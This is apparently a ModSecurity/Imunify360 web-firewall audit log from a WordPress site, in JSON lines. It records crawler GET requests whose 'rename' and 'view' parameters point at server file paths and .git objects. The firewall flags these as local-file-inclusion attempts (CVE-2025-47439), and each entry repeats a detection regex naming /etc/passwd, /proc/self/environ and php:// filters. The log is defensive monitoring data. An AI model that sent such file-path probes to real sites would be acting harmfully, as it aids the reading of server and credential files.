{"transaction":{"time":"13/Mar/2026:01:23:30.159728 +0100","transaction_id":"abNZAaNDElJSaUY9M9GdqQAAANM","remote_address":"57.141.20.36","remote_port":53110,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/contact-form-cfdb7/contact-form-cfdb7.1.3.5.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"1fae5a7fb03990d8e0adef26e4f53956","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31752591"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1fae5a7fb03990d8e0adef26e4f53956","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/contact-form-cfdb7/contact-form-cfdb7.1.3.5.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":303,"p2":14650,"p3":0,"p4":0,"p5":369,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:31.987063 +0100","transaction_id":"abNZA_GYjQkrq8Uo_Ez8gQAAAIw","remote_address":"57.141.20.55","remote_port":53098,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.3/include/php/Zend/zend_vm_handlers.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"70b2ca4e650f380e4fac22593c641e45","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31752597"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"70b2ca4e650f380e4fac22593c641e45","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.3/include/php/Zend/zend_vm_handlers.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":384,"p2":18313,"p3":0,"p4":0,"p5":409,"sr":170,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:37.848281 +0100","transaction_id":"abNZCH6c0W8rkQnlo8I60wAAAc8","remote_address":"57.141.20.22","remote_port":58030,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/c/cons50-koi8r HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"19135e8bb9ff079bacd41f49e612901c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29494253"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"19135e8bb9ff079bacd41f49e612901c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/c/cons50-koi8r||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":289,"p2":12238,"p3":0,"p4":0,"p5":483,"sr":167,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:43.446938 +0100","transaction_id":"abNZDqNDElJSaUY9M9GdwwAAAMU","remote_address":"57.141.20.36","remote_port":48108,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/iu/LC_MESSAGES/iso_3166.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"52395b3ef30be4b06baceb555f2ffb1f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32113203"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"52395b3ef30be4b06baceb555f2ffb1f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/iu/LC_MESSAGES/iso_3166.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":318,"p2":6628,"p3":0,"p4":0,"p5":353,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:44.123581 +0100","transaction_id":"abNZDwhXxndD9xDx47xFpwAAAFQ","remote_address":"57.141.20.40","remote_port":58036,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/85/d37c986ee955f011ba90aacd981d88cafbba21 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"f35e2938172e584ba31118e3fd8d76b6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32113206"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f35e2938172e584ba31118e3fd8d76b6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/85/d37c986ee955f011ba90aacd981d88cafbba21||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":354,"p2":12228,"p3":0,"p4":0,"p5":461,"sr":180,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:12.492586 +0100","transaction_id":"abNZK36c0W8rkQnlo8I7FgAAAc8","remote_address":"57.141.20.9","remote_port":58030,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/bf/3d7ddd1cd8df66b37cb085bc3f2aaba9e029c5 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"5f2edab12ea0d427842c7089b60a94b7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26290583"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5f2edab12ea0d427842c7089b60a94b7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/bf/3d7ddd1cd8df66b37cb085bc3f2aaba9e029c5||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":11798,"p3":0,"p4":0,"p5":520,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:17.680925 +0100","transaction_id":"abNZLghXxndD9xDx47xGCgAAAFA","remote_address":"57.141.20.45","remote_port":47320,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/powerkit/powerkit.2.5.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"d7163f55cf2948fed4a7cd44e3ce4d04","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10794277"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d7163f55cf2948fed4a7cd44e3ce4d04","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/powerkit/powerkit.2.5.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":355,"p2":7479,"p3":0,"p4":0,"p5":381,"sr":161,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:18.126138 +0100","transaction_id":"abNZMKNDElJSaUY9M9GeGwAAAM0","remote_address":"57.141.20.46","remote_port":40146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/2f/d53dfb372dff37303b5609e6ce1d997096898b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"38cfc9ca06e4ec64cf6edb17555cff3d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29036194"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"38cfc9ca06e4ec64cf6edb17555cff3d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/2f/d53dfb372dff37303b5609e6ce1d997096898b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":333,"p2":6764,"p3":0,"p4":0,"p5":371,"sr":166,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:18.272921 +0100","transaction_id":"abNZMQhXxndD9xDx47xGEAAAAE0","remote_address":"57.141.20.36","remote_port":40498,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/de/LC_MESSAGES/findutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"e4ad539fbe36e89a5580cb2c4aa02786","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27237950"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e4ad539fbe36e89a5580cb2c4aa02786","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/de/LC_MESSAGES/findutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":325,"p2":13172,"p3":0,"p4":0,"p5":401,"sr":1633,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:23.470584 +0100","transaction_id":"abNZNaNDElJSaUY9M9GeIgAAAMM","remote_address":"57.141.20.43","remote_port":47304,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/t/tek4023 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"70aa49400bdbd15b7ae896e3b9bbf249","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6284582"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"70aa49400bdbd15b7ae896e3b9bbf249","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tek4023||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":526,"p2":13229,"p3":0,"p4":0,"p5":451,"sr":144,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:26.214256 +0100","transaction_id":"abNZOH6c0W8rkQnlo8I7LwAAAcA","remote_address":"57.141.20.58","remote_port":55474,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/loginpress/loginpress.1.4.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"31e158d2dbb6234a3ae9fb6845d44c79","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25211301"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"31e158d2dbb6234a3ae9fb6845d44c79","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/loginpress/loginpress.1.4.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":558,"p2":11758,"p3":0,"p4":0,"p5":404,"sr":196,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:29.448734 +0100","transaction_id":"abNZPPGByT275eeM2ZkyoAAAAQI","remote_address":"57.141.20.31","remote_port":55444,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/p/p8-w HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"62371251d9b8e939b7f4c1c38ac011fb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26290604"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"62371251d9b8e939b7f4c1c38ac011fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/p/p8-w||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":333,"p2":10331,"p3":0,"p4":0,"p5":378,"sr":161,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
